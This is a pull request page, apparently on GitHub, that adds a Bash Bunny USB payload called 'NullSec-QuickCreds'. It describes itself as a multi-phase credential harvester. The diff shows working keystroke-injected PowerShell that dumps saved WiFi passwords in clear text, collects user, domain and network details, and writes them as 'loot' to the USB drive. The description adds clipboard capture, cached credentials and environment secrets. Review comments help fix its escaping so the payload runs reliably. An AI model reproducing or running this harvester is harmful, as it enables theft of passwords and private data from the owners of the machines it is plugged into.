Add NullSec-QuickCreds multi-phase credential harvester - #708
Conversation
Multi-phase credential harvester using HID+STORAGE attack mode: - WiFi profiles and passwords via netsh wlan - System information and domain enumeration - Clipboard contents capture - Recent documents listing - Browser data paths identification - Environment variable secrets extraction - Cached credentials via cmdkey - Active network connections Features LED status indicators for each phase and saves all loot to USB storage in organized format.
| Q DELAY 1500 | ||
|
|
||
| # Get the BB drive letter | ||
| Q STRING \$bb = (Get-Volume -FileSystemLabel 'BashBunny' -ErrorAction SilentlyContinue).DriveLetter |
There was a problem hiding this comment.
This is not properly escaped, Due to the similar syntax between power shell and bash, you have to escape strings that are intended to be injected to the host,
For example:
Q STRING "\$bb = (Get-Volume -FileSystemLabel 'BashBunny' -ErrorAction SilentlyContinue).DriveLetter"
In its current state, this line will create a syntax error inside the bashbunnys bash interpreter, causing the payload to fail.
I also suggest making the Label name a bash variable, as not everyone will be using default label name.
DRIVE ="BashBunny"
Q STRING echo "\$bb = (Get-Volume -FileSystemLabel '$DRIVE' -ErrorAction SilentlyContinue).DriveLetter"
| Q STRING \$bb = (Get-Volume -FileSystemLabel 'BashBunny' -ErrorAction SilentlyContinue).DriveLetter | ||
| Q ENTER | ||
| Q DELAY 500 | ||
| Q STRING if(-not \$bb){\$bb = (Get-Volume | Where-Object {\$_.DriveType -eq 'Removable' -and \$_.Size -gt 1GB} | Select-Object -First 1).DriveLetter} |
There was a problem hiding this comment.
This line is not properly escaped. Please add correct escapes to prevent payload failure.
| Q STRING \$loot = \"\${bb}:\\loot\" | ||
| Q ENTER | ||
| Q DELAY 300 | ||
| Q STRING New-Item -ItemType Directory -Path \$loot -Force | Out-Null |
There was a problem hiding this comment.
This line is not properly escaped. Please add correct escapes to prevent payload failure.
| Q DELAY 300 | ||
|
|
||
| # WiFi profiles | ||
| Q STRING \$wifi = @(); (netsh wlan show profiles) | Select-String ':\s*(.+)\$' | ForEach-Object { \$name = \$_.Matches.Groups[1].Value.Trim(); \$detail = netsh wlan show profile name=\"\$name\" key=clear; \$key = (\$detail | Select-String 'Key Content\s+:\s+(.+)\$'); \$pw = if(\$key){\$key.Matches.Groups[1].Value.Trim()}else{'N/A'}; \$wifi += \"\$name = \$pw\" }; \$wifi | Out-File \"\$loot\\wifi.txt\" |
There was a problem hiding this comment.
This line is not properly escaped. Please add correct escapes to prevent payload failure.
| Q DELAY 2000 | ||
|
|
||
| # === Phase 2: System & User Info === | ||
| Q STRING \$info = @(\"Computer: \$env:COMPUTERNAME\", \"User: \$env:USERNAME\", \"Domain: \$env:USERDOMAIN\", \"OS: \$((Get-CimInstance Win32_OperatingSystem).Caption)\", \"IP: \$((Get-NetIPAddress -AddressFamily IPv4 | Where-Object {\$_.InterfaceAlias -notmatch 'Loopback'}).IPAddress -join ', ')\"); \$info | Out-File \"\$loot\\sysinfo.txt\" |
There was a problem hiding this comment.
This line is not properly escaped. Please add correct escapes to prevent payload failure.
Please double check and review payload to ensure injected power shell is properly escaped.
2 participants
NullSec-QuickCreds
A comprehensive multi-phase credential harvester for the Bash Bunny using HID+STORAGE attack mode.
Attack Phases
netsh wlanRecentfoldercmdkeyFeatures
Output
Loot saved to:
/loot/quickcreds/HOSTNAME_TIMESTAMP.txtTested on: Windows 10/11
Attack Mode: HID + STORAGE